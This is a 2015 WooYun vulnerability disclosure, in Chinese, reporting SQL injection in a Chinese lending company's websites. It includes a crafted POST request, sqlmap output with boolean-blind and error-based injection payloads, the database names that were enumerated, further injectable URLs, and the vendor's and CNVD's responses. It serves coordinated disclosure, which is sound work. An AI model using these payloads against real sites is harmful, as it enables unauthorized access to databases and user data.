当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141719

漏洞标题:多美贷旗下站点主站SQL注入打包

相关厂商:多美惠通(北京)网络科技有限公司

漏洞作者: Ourgame简单

提交时间:2015-09-20 00:01

修复时间:2015-11-06 19:56

公开时间:2015-11-06 19:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-20: 细节已通知厂商并且等待厂商处理中
2015-09-22: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-10-02: 细节向核心白帽子及相关领域专家公开
2015-10-12: 细节向普通白帽子公开
2015-10-22: 细节向实习白帽子公开
2015-11-06: 细节向公众公开

简要描述:

RT,就一个SQL注入

详细说明:

问题URL:
http://**.**.**.**/index.php/News/search
搜索框注入.
POST /index.php/News/search HTTP/1.1
Host: **.**.**.**
Content-Length: 82
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**/index.php/News/search
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=nldckik2138p0bq2p3efc7d2c2
key=%27

漏洞证明:

sqlmap identified the following injection points with a total of 563 HTTP(s) req
uests:
---
Parameter: key (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: key=-2057' OR 4287=4287 AND 'gUNN' LIKE 'gUNN
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: key=-8720' OR 1 GROUP BY CONCAT(0x7170786b71,(SELECT (CASE WHEN (53
58=5358) THEN 1 ELSE 0 END)),0x7162786b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
[10:25:55] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[10:25:55] [INFO] testing MySQL
[10:25:55] [INFO] confirming MySQL
[10:25:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.28
back-end DBMS: MySQL >= 5.0.0
[10:25:55] [INFO] fetching database names
[10:25:56] [INFO] the SQL query used returns 2 entries
[10:25:56] [INFO] retrieved: information_schema
[10:25:56] [INFO] retrieved: bjdmtz
available databases [2]:
[*] bjdmtz
[*] information_schema
0x02
问题URL:
http://**.**.**.**/index.php/News/content/class/1/id/130'
虽然伪静态了,
但是还是注入了。
0x03
问题URL:
http://www.**.**.**.**/index.php/News/video/id/4'
依然还是伪静态。
但是注入点不同。

修复方案:

重新码代码,把错误回显关掉,
把SQL注入参数进行安全过滤

版权声明:转载请注明来源 Ourgame简单@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-09-22 19:55

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无